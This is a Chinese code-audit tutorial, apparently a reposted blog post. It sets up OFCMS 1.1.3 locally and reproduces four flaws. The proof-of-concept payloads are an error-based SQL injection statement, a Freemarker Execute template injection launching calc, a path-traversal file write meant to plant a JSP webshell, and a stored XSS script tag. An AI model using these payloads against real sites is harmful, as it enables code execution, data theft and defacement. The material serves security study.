扫码领资料
获网安教程
本文由掌控安全学院 - nn0nkey 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
环境搭建
首先去下载cms的源码,这里我下载的是1.13版本的源码
https://gitee.com/oufu/ofcms/tree/V1.1.3/
选择刚刚的文件,然后配置tomcat容器
这里可能会出现工件不能部署的情况,是因为你没有对文件的操作权,需要去设置
点击文件,然后属性,安全,设置权限,因为我不懂,就把全部的设置为所有权限了,然后确实也部署成功了
然后配置数据库,这里配置数据库就需要你手动配置了
需要你首先创建一个数据库,名字为ofcms
然后导入sql文件
修改数据库配置文件并改名
数据库配置改为你自己的密码和账户
jdbc.url=jdbc:mysql://127.0.0.1:3306/ofcms?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
jdbc.username=root
jdbc.password=123456
然后把将数据库配置文件ofcms-V1.1.3/ofcms-admin/src/main/resources/dev/conf/db-config.properties文件名修改为db.properties
然后重新启动web容器,访问
http://localhost:8080/ofcms_admin_war/admin/index.html
漏洞审计
第一步首先是看一下依赖,有个大概的印象,然后
sql注入
漏洞分析
我们首先看到是使用的jdbc来支持的数据库,那我们可以全局搜索Statement这种没有预编译的语句,但是搜索下来发现没有,关于sql注入的都使用了预编译语句,那么还有这种可能,就是虽然使用了预编译语句,但是我们根本没有拼接,可以控制整个sql语句
结合我们的页面和代码审计发现了一处
我们按照这个路由跟过去看看
其实也就是对应着我们的
重点关注参数是怎么输入的,有没有过滤
getPara就是直接接受参数的输入,没有任何过滤,然后传入了
Db.update(sql);
最后来到
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {
PreparedStatement pst = conn.prepareStatement(sql);
config.dialect.fillStatement(pst, paras);
int result = pst.executeUpdate();
DbKit.close(pst);
return result;
}
虽然进行了预编译,但是我们根本就没有拼接,是可以输入一个完整的sql语句的
漏洞验证
输入我们的paylaod
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
可以看到成功使用了报错注入
不过就是那个表名那些是必须存在的
失败的例子
为了形成对比,再给大家举一个失败例子的挖掘
比如这里就很可能出现我们的漏洞
我们输入表名抓个包
然后看到对应的代码部分应该是
public void query() {
Map<String, Object> params = getParamsMap();
SqlPara sql = Db.getSqlPara(params.get("sqlid").toString(), params);
setPageOrderByParams(sql, getPara("field"), getPara("sort"));
Page<Record> page = Db.paginate(getPageNum(), getPageSize(), sql);
rendSuccessJson(page.getList(), page.getTotalRow(),
page.getPageNumber());
}
我们只需要随便看一下sql语句的构造
可以看到是使用了占位符的,不存在sql注入的
Freemarker模板注入
漏洞分析
这个漏洞就是比较简单的了,因为题目首先有Freemarker的依赖,而且我们还可以控制html页面的内容
可以看到这些内容我们都是可以修改的,可以控制的
然后我们看到对应的代码位置,是否有过滤
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
重点看到我们的fileContent这一部分
将 内容中的 < 和> 替换为< 和 > (即html解码)
没有任何的过滤,所以是可以进行我们模板注入的
漏洞复现
首先随便找一个html文件编辑
插入以下的代码
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("calc") }
然后访问404界面
任意文件上传
漏洞分析
还是刚刚的位置,它不仅没有对我们的文件内容做出限制,还没有对我们的文件名做出限制
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
所以是存在任意文件上传漏洞的,我们可以上传一个jsp木马文件
但是我是没有复现成功的,原理倒是明白了
漏洞复现
首先来到
我们只需要修改filename进行目录穿越,比如我们的
C:Program FilesJavaapache-tomcat-8.5.100webappsofcms_admin_warstatic
这个目录,我们现在是在
C:Program FilesJavaapache-tomcat-8.5.100webappsofcms_admin_warresourcedefaultindex.html
那就需要目录穿越两次就好了,输入这种文件名
../../static/index.html
然后我们发送
确实创建了文件,然后就是jsp木马文件了,但是我的不行,不知道为什么,根本访问不到
XSS注入漏洞
漏洞分析
首先一般对应的功能区我们都知道了,比如评论就是最常见的地方
在首页新闻处有一个提交评论的功能,我们看到代码部分
public void save() {
try {
Map params = getParamsMap();
params.put("comment_ip", IpKit.getRealIp(getRequest()));
Db.update(Db.getSqlPara("cms.comment.save", params));
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson();
}
}
可以看到获取我们的输入过后是没有进行任何的过滤,直接放进了数据库里面
漏洞复现
这个就比较简单了
抓取用户评论的请求数据包,修改comment_content内容为
payload:<script>alert(1)</script>
,提交数据包。弹窗成功
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):javasec | ofcms代码审计详细分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论